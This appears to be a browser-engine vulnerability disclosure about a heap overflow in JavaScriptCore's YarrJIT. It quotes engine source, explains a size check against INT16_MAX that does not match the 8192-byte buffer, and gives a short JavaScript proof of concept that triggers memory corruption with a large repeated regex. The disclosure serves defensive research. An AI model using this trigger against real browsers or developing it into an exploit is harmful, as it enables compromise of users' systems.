JSC: YarrJIT: A bug in initParenContextFreeList 



void initParenContextFreeList()
{
    RegisterID parenContextPointer = regT0;
    RegisterID nextParenContextPointer = regT2;

    size_t parenContextSize = ParenContext::sizeFor(m_parenContextSizes);

    parenContextSize = WTF::roundUpToMultipleOf<sizeof(uintptr_t)>(parenContextSize);

    // Check that the paren context is a reasonable size.
    if (parenContextSize > INT16_MAX)
        m_abortExecution.append(jump());

    Jump emptyFreeList = branchTestPtr(Zero, freelistRegister);
    move(freelistRegister, parenContextPointer);
    addPtr(TrustedImm32(parenContextSize), freelistRegister, nextParenContextPointer);
    addPtr(freelistRegister, freelistSizeRegister);
    subPtr(TrustedImm32(parenContextSize), freelistSizeRegister);

    Label loopTop(this);
    Jump initDone = branchPtr(Above, nextParenContextPointer, freelistSizeRegister);
    storePtr(nextParenContextPointer, Address(parenContextPointer, ParenContext::nextOffset()));
    move(nextParenContextPointer, parenContextPointer);
    addPtr(TrustedImm32(parenContextSize), parenContextPointer, nextParenContextPointer);
    jump(loopTop);

    initDone.link(this);
    storePtr(TrustedImmPtr(nullptr), Address(parenContextPointer, ParenContext::nextOffset()));
    emptyFreeList.link(this);
}

class PatternContextBufferHolder {
public:
    PatternContextBufferHolder(VM& vm, bool needBuffer)
        : m_vm(vm)
        , m_needBuffer(needBuffer)
    {
        if (m_needBuffer) {
            m_buffer = m_vm.acquireRegExpPatternContexBuffer();
            m_size = VM::patternContextBufferSize;
        } else {
            m_buffer = nullptr;
            m_size = 0;
        }
    }


The method initParenContextFreeList tries to ensure that the size of the paren context doesn't get above INT16_MAX. This implies that the size of the buffer is equal to INT16_MAX. But the actual size is VM::patternContextBufferSize (8192) which is lower than that. So up to 24575 (INT16_MAX - 8192) bytes can be overwritten.

PoC:
let s = '';
for (let i = 0; i < 1000; i++) {
    s += '(?:a){0,2}';
}

let r = new RegExp(s);
for (let i = 0; i < 1000; i++)
    ''.match(r);


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.



Found by: lokihardt@google.com